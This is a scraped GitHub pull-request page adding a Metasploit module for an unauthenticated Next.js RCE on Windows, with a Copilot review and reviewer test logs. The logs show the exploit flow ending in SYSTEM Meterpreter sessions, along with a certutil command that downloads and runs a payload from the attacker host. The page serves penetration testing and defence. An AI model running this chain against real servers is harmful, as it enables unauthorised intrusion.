Add Next.JS Unauthenticated RCE on Windows Servers (CVE-2026-75604) by vognik · Pull Request #21834 · rapid7/metasploit-framework

vognik · 2026-08-26T22:56:40Z

Vulnerability Details

This module exploits a Remote Code Execution (RCE) vulnerability in Next.js applications hosted on Windows servers.
Specifically crafted requests can execute arbitrary code on the target server running Next.js.

The affected versions include releases from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3.
The vulnerability affects applications utilizing both the Pages Router and App Router without Cache Components.

Module Information

Module path: modules/exploits/windows/http/nextjs_unauth_rce_cve_2026_75604.rb
Platform: Windows

References

Test Output

msf > use windows/http/nextjs_unauth_rce_cve_2026_75604
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set RHOSTS 192.168.19.159
RHOSTS => 192.168.19.159
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set RPORT 4330
RPORT => 4330
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set LHOST eth0
LHOST => eth0
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set APP_ROUTER app-cache
APP_ROUTER => app-cache
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set PAGES_ROUTER pages-cache
PAGES_ROUTER => pages-cache
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set PATH_SEGMENT seed
PATH_SEGMENT => seed
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set ACTION_PATH /
ACTION_PATH => /
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set TARGET_FIELD lastName
TARGET_FIELD => lastName
msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > run
[*] Started reverse TCP handler on 192.168.19.153:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Vulnerable build ID found: alcHhWTGd50Ebs_MOMzhr and encryption key successfully leaked, the target seems to be vulnerable
[*] Fetching application Build ID...
[+] Successfully retrieved Build ID: alcHhWTGd50Ebs_MOMzhr
[*] Leaking server reference manifest...
[*] Searching for available Server Actions at path: /...
[+] Selected Action ID: 60449a017e36a522df12b950725add590d624573f9 (Ref: 1)
[*] Encrypting bound arguments payload...
[*] Sending exploit request to target server...
[*] Request sent, awaiting payload execution...
[*] Sending stage (232006 bytes) to 192.168.19.159
[*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.159:50280) at 2026-08-26 18:54:18 -0400

meterpreter > sysinfo
Computer        : DESKTOP-GLLA9J3
OS              : Windows 10 21H2 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-GLLA9J3\vognik
meterpreter >

Copilot

🟡 Changes recommended

The exploit module has a confirmed crash on nil HTTP responses and crypto/dep issues (IV generation and Faker usage), and the documentation does not conform to the required module doc structure.

Once you've addressed the issues Copilot identified, you can request another Copilot review.

Pull request overview

This PR adds a new Metasploit exploit module (plus supporting documentation and a small repro Next.js app) for CVE-2026-75604, targeting unauthenticated RCE against vulnerable Next.js deployments on Windows by leaking the server reference manifest and abusing Server Actions.

Changes:

Introduces nextjs_unauth_rce_cve_2026_75604 exploit module with AutoCheck, Build ID discovery, manifest leak, action discovery, and bound-args encryption.
Adds module documentation and a minimal Next.js reproduction project under data/exploits/CVE-2026-75604/.
Provides an example scenario/run output demonstrating successful exploitation.

Impact Analysis:

Blast radius: medium — new exploit module + docs + data repro; no direct impact to existing modules, but introduces new crypto/request-handling logic used by this module at runtime.
Data and contract effects: no schema/contract changes; however the module currently prints a leaked encryption key to console output (sensitive target material) and has error-handling gaps that can crash execution.
Rollback and test focus: rollback is straightforward (new files only); testing should focus on (1) unreachable/timeout handling, (2) action discovery reliability across Pages/App router variants, and (3) encryption key decoding/IV generation correctness.

File summaries

File	Description
modules/exploits/windows/http/nextjs_unauth_rce_cve_2026_75604.rb	New Windows HTTP exploit module implementing the CVE flow (build ID parse → manifest leak → action selection → encrypted payload submission).
documentation/modules/exploit/windows/http/nextjs_unauth_rce_cve_2026_75604.md	New module documentation describing affected versions, setup/testing, and an example run.
data/exploits/CVE-2026-75604/package.json	Repro app package definition and dependency pinning.
data/exploits/CVE-2026-75604/next.config.js	Minimal Next.js configuration for repro app.
data/exploits/CVE-2026-75604/app/page.js	Repro page containing a Server Actions form for action discovery.
data/exploits/CVE-2026-75604/app/layout.js	Repro app layout/metadata.
data/exploits/CVE-2026-75604/app/app-cache/[...rest]/page.js	Repro cached App Router route emitting server-reference-manifest with encryption key.
data/exploits/CVE-2026-75604/pages/pages-cache/[...rest].js	Repro dynamic Pages Router ISR route to exercise cache behavior.

Review details

Files reviewed: 8/8 changed files
Comments generated: 7
Review effort level: Lite

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

bwatters-r7 · 2026-09-01T20:47:35Z

Testing

Next.js 16.2.11 on Node.js 22.22.3, running Windows Server 2022 build 20348

  [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  [*] No payload configured, defaulting to cmd/windows/ftp/x64/meterpreter/reverse_tcp
  RHOSTS => 10.5.134.156
  RPORT => 4330
  APP_ROUTER => app-cache
  PAGES_ROUTER => pages-cache
  PATH_SEGMENT => seed
  ACTION_PATH => /
  TARGET_FIELD => lastName
  payload => cmd/windows/http/x64/meterpreter/reverse_tcp
  LHOST => 10.5.135.210
  LPORT => 4444
  ForceExploit => true
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  [*] Started reverse TCP handler on 10.5.135.210:4444
  [*] Running automatic check ("set AutoCheck false" to disable)
  [+] The target is vulnerable. Vulnerable build ID found: TsO74xs_rTLUJnSQTWhN0 and encryption key successfully leaked
  [*] Fetching application Build ID...
  [+] Successfully retrieved Build ID: TsO74xs_rTLUJnSQTWhN0
  [*] Leaking server reference manifest...
  [+] Successfully leaked manifest and encryption key: JcburTpnBfeOeC/IuJ7aNIkJyY7CZNOK5K9b50E8ofY=
  [*] Searching for available Server Actions at path: /...
  [+] Selected Action ID: 60517a7d4e65444dd9c8856b7b7c2b3c9a4edb1a42 (Ref: 1)
  [*] Encrypting bound arguments payload...
  [*] Sending exploit request to target server...
  [+] Received HTTP 200 OK response, awaiting payload execution...
  [*] Sending stage (255676 bytes) to 10.5.134.156
  [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.134.156:49864) at 2026-09-01 15:44:21 -0500

  Active sessions
  ===============

    Id  Name  Type                     Information                          Connection
    --  ----  ----                     -----------                          ----------
    1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN2022__620D  10.5.135.210:4444 -> 10.5.134.156:49864 (10.5.134.156)

  [*] Running 'sysinfo' on meterpreter session 1 (10.5.134.156)
  Computer        : WIN2022__620D
  OS              : Windows Server 2022 (10.0 Build 20348).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 5
  Meterpreter     : x64/windows
  [*] Running 'getuid' on meterpreter session 1 (10.5.134.156)
  Server username: NT AUTHORITY\SYSTEM
  [*] Killing all sessions...
  [*] 10.5.134.156 - Meterpreter session 1 closed.

bwatters-r7 · 2026-09-03T20:22:31Z

Retest

  msf > use exploit/windows/http/nextjs_unauth_rce_cve_2026_75604
  [*] No payload configured, defaulting to cmd/windows/ftp/x64/meterpreter/reverse_tcp

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set VERBOSE true
  VERBOSE => true

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set RHOSTS 10.5.134.156
  RHOSTS => 10.5.134.156

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set RPORT 4330
  RPORT => 4330

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set APP_ROUTER app-cache
  APP_ROUTER => app-cache

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set PAGES_ROUTER pages-cache
  PAGES_ROUTER => pages-cache

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set ACTION_PATH /
  ACTION_PATH => /

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set TARGET_FIELD lastName
  TARGET_FIELD => lastName

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp
  PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > set LHOST 10.5.135.210
  LHOST => 10.5.135.210

  msf exploit(windows/http/nextjs_unauth_rce_cve_2026_75604) > run
  [*] Command to execute on target: certutil -urlcache -f http://10.5.135.210:8080/Se3SuyaEumAWZkcd-UKQHw %TEMP%\BLqfcUBNWpGT.exe &
  start /B %TEMP%\BLqfcUBNWpGT.exe
  [*] Fetch handler listening on 10.5.135.210:8080
  [*] HTTP server started
  [*] Adding resource /Se3SuyaEumAWZkcd-UKQHw
  [*] Started reverse TCP handler on 10.5.135.210:4444
  [*] Running automatic check ("set AutoCheck false" to disable)
  [+] The target is vulnerable. Vulnerable build ID found: QOqH0QZGirJ1Dv3rBwwUK and encryption key successfully leaked
  [*] Fetching application Build ID...
  [+] Successfully retrieved Build ID: QOqH0QZGirJ1Dv3rBwwUK
  [*] Leaking server reference manifest...
  [+] Successfully leaked manifest and encryption key: JcburTpnBfeOeC/IuJ7aNIkJyY7CZNOK5K9b50E8ofY=
  [*] Searching for available Server Actions at path: /...
  [+] Selected Action ID: 60517a7d4e65444dd9c8856b7b7c2b3c9a4edb1a42 (Ref: 1)
  [*] Encrypting bound arguments payload...
  [*] Sending exploit request to target server...
  [+] Received HTTP 200 OK response, awaiting payload execution...
  [*] Client 10.5.134.156 requested /Se3SuyaEumAWZkcd-UKQHw
  [*] Sent payload to 10.5.134.156 (Microsoft-CryptoAPI/10.0)
  [*] Client 10.5.134.156 requested /Se3SuyaEumAWZkcd-UKQHw
  [*] Sent payload to 10.5.134.156 (CertUtil URL Agent)
  [*] Sending stage (255676 bytes) to 10.5.134.156
  [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.134.156:49714) at 2026-09-03 15:19:55 -0500

  meterpreter > sysinfo
  Computer        : WIN2022__620D
  OS              : Windows Server 2022 (10.0 Build 20348).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 2
  Meterpreter     : x64/windows

  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM

vognik added 2 commits August 26, 2026 15:26

Add CVE-2026-75604

c74d8c9

add PAGES_CACHE_PATH module option

82b145b

github-project-automation Bot added this to Metasploit Kanban Aug 26, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Aug 26, 2026

vognik marked this pull request as draft August 26, 2026 22:56

vognik added 7 commits August 27, 2026 00:47

improve module options naming

21f51f9

add lab

b7591f5

improve form parsing

c6d35d4

add TARGET_FIELD option

2f46558

make server actions form more illustrative

867ec0b

make PATH_SEGMENT and TARGET_FIELD optional

0e2b5b8

add docs

ca7e555

vognik marked this pull request as ready for review August 28, 2026 23:10

improve error handling in send_exploit_request

6405b98

bwatters-r7 requested a lite review from Copilot September 1, 2026 20:05

bwatters-r7 self-assigned this Sep 1, 2026

bwatters-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 1, 2026

Copilot started reviewing on behalf of bwatters-r7 September 1, 2026 20:06 View session

Copilot AI reviewed Sep 1, 2026

View reviewed changes

bwatters-r7 reviewed Sep 1, 2026

View reviewed changes

Comment thread modules/exploits/windows/http/nextjs_unauth_rce_cve_2026_75604.rb Outdated

add suggestions from copilot

01ec460

bwatters-r7 moved this from Todo to What about Second Review? in Metasploit Kanban Sep 3, 2026

Navigation Menu

Uh oh!

Add Next.JS Unauthenticated RCE on Windows Servers (CVE-2026-75604) - #21834

Add Next.JS Unauthenticated RCE on Windows Servers (CVE-2026-75604)#21834
vognik wants to merge 11 commits into
rapid7:masterfrom
vognik:CVE-2026-75604

vognik commented Aug 26, 2026 •

edited

Loading

Uh oh!

Copilot AI left a comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

bwatters-r7 commented Sep 1, 2026

Uh oh!

Uh oh!

bwatters-r7 commented Sep 3, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Uh oh!

Conversation

vognik commented Aug 26, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Vulnerability Details

Module Information

References

Test Output

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

🟡 Changes recommended

Impact Analysis:

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

bwatters-r7 commented Sep 1, 2026

Testing

Next.js 16.2.11 on Node.js 22.22.3, running Windows Server 2022 build 20348

Uh oh!

Uh oh!

bwatters-r7 commented Sep 3, 2026

Retest

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

vognik commented Aug 26, 2026 •

edited

Loading